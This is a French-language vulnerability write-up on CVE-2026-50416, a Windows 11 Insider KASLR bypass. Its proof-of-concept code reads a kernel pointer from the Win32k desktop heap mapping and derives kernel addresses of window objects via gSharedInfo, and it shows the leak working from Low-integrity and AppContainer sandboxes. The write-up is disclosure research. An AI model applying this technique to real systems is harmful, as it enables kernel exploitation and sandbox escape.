CVE-2026-50416: contournement du KASLR sous Windows 11
Sur la build Windows 11 Insider 10.0.28020.2149, le mappage en mode utilisateur du tas de bureau Win32k exposait un pointeur brut de pool du noyau à l'offset 0x100.
La lecture en elle-même est presque offensivement petite :
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Dans ma session de test, cela a renvoyé :
0xffffc600dcc00040
La valeur restait identique entre les processus sur le même bureau et changeait après un redémarrage. Un processus lancé sur un autre bureau recevait une valeur différente car il disposait d'un tas de bureau différent. À partir de ce seul QWORD, la preuve de concept (PoC) a récupéré la base du tas de bureau du noyau, puis a utilisé user32!gSharedInfo pour dériver les adresses noyau des objets fenêtre actifs.
La même lecture fonctionnait depuis une intégrité Low, un AppContainer, une configuration LPAC sans aucune capacité, et un enfant AppContainer à intégrité Low sans aucune capacité.
Le tas de bureau est censé être partagé. Le pointeur du noyau ne l'est pas.
Win32k stocke les objets USER tels que les fenêtres, menus, classes, hooks et métadonnées associées dans les tas de bureau. Chaque bureau possède son propre tas. Une partie de ce tas est mappée dans les processus associés au bureau afin que le mode utilisateur puisse lire l'état GUI partagé sans demander chaque champ au noyau.
Sur la build x64 testée, le mappage en mode utilisateur peut être atteint via les données client du TEB du thread courant :
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Les offsets sont spécifiques à la build, mais le chemin est simple :
GS:[0x30]
-> TEB
-> ClientInfo à TEB + 0x800
-> ClientInfo[5]
-> mappage du tas de bureau en mode utilisateur
La PoC appelle VirtualQuery sur l'adresse renvoyée et enregistre la région mappée et sa protection. Rien n'a encore mal tourné. Un mappage de tas de bureau en lecture seule est un comportement Win32k normal.
Le problème commence 256 octets plus loin.
La PoC principale lit un QWORD depuis le tas mappé :
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
La valeur a passé les vérifications de base attendues pour une adresse virtuelle du noyau sur le système testé :
Le test de stabilité crée des fenêtres STATIC, BUTTON et EDIT, lit la valeur avant la création, la relit pendant que les fenêtres existent, les détruit, puis effectue une troisième lecture.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Les trois lectures ont renvoyé la même valeur. L'activité d'allocation de fenêtres ne l'a pas déplacée. Ce comportement est cohérent avec un champ des métadonnées du tas de bureau plutôt qu'avec un pointeur d'objet à courte durée de vie.
La propriété inter-processus est tout aussi importante. Deux processus attachés au même bureau observent la même valeur divulguée car ils regardent le même tas de bureau. Après un redémarrage, KASLR donne une nouvelle adresse à la session. Un enfant placé sur un autre bureau observe un autre pointeur car ce bureau possède un autre tas.
Cela donne à la fuite une identité utile :
même démarrage + même bureau -> même pointeur
même démarrage + autre bureau -> pointeur différent
nouveau démarrage -> pointeur différent
Sur la build testée, le pointeur divulgué se situe 0x40 octets au-dessus de la base du tas de bureau du noyau utilisée par la PoC :
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
En utilisant la valeur de session enregistrée :
pointeur divulgué = 0xffffc600dcc00040
base du tas de bureau noyau = 0xffffc600dcc00000
Cette relation est spécifique à la build. Pour la build utilisée lors des tests, elle fournit l'ancre côté noyau nécessaire pour l'étape suivante.
Un pointeur est déjà utile. Une adresse pour un objet choisi est beaucoup plus utile.
user32.dll exporte gSharedInfo, qui expose la liste des entrées de handles USER et la taille de chaque entrée :
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
Un HWND contient un index dans la table des handles USER. La PoC prend les 16 bits de poids faible du handle, parcourt jusqu'à l'entrée correspondante et lit l'offset du tas de bureau qui y est stocké.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
Le même offset désigne l'objet dans les deux mappages :
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Le calcul complet est donc :
base du tas de bureau noyau = desktop_heap[0x100] - 0x40
index du handle = HWND & 0xffff
offset du tas = aheList[index du handle].offset
adresse fenêtre noyau = base du tas de bureau noyau + offset du tas
La PoC crée six classes de fenêtres et effectue le calcul pour chacune :
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXPour chaque objet, elle affiche le HWND, l'index du handle, l'adresse de l'objet en mode utilisateur, l'offset du tas et l'adresse noyau.
HWND
-> index de handle sur 16 bits de poids faible
-> entrée de handle gSharedInfo
-> offset du tas de bureau
-> base du tas de bureau noyau + offset
-> adresse noyau de cet objet fenêtre
C'est la partie qui transforme la divulgation d'un simple pointeur noyau lâche en un oracle d'adresses pour des objets USER sélectionnés sur le tas de bureau testé.
Le tas de bureau arrive via un mappage partagé. Les niveaux d'intégrité et les restrictions AppContainer ne réécrivent pas le contenu de ce mappage pour chaque processus. Si le processus reçoit le tas de bureau, il reçoit le QWORD à 0x100 avec lui.
La PoC sandbox lance des enfants dans plusieurs contextes et fait lire à chaque enfant la valeur depuis son propre TEB et son propre mappage de tas de bureau.
| Contexte | Configuration | Résultat |
|---|---|---|
| Intégrité Medium | Processus utilisateur standard | Divulgué |
| Intégrité Low | Intégrité du jeton abaissée à Low | Divulgué |
| AppContainer | Zéro capacité demandée | Divulgué |
| Configuration LPAC | Tous les packages d'application en opt-out, zéro capacité demandée | Divulgué |
| AppContainer à intégrité Low | Low IL plus AppContainer, zéro capacité demandée | Divulgué |
| Bureau alternatif | Enfant assigné à un nouveau bureau | Divulgué une valeur différente |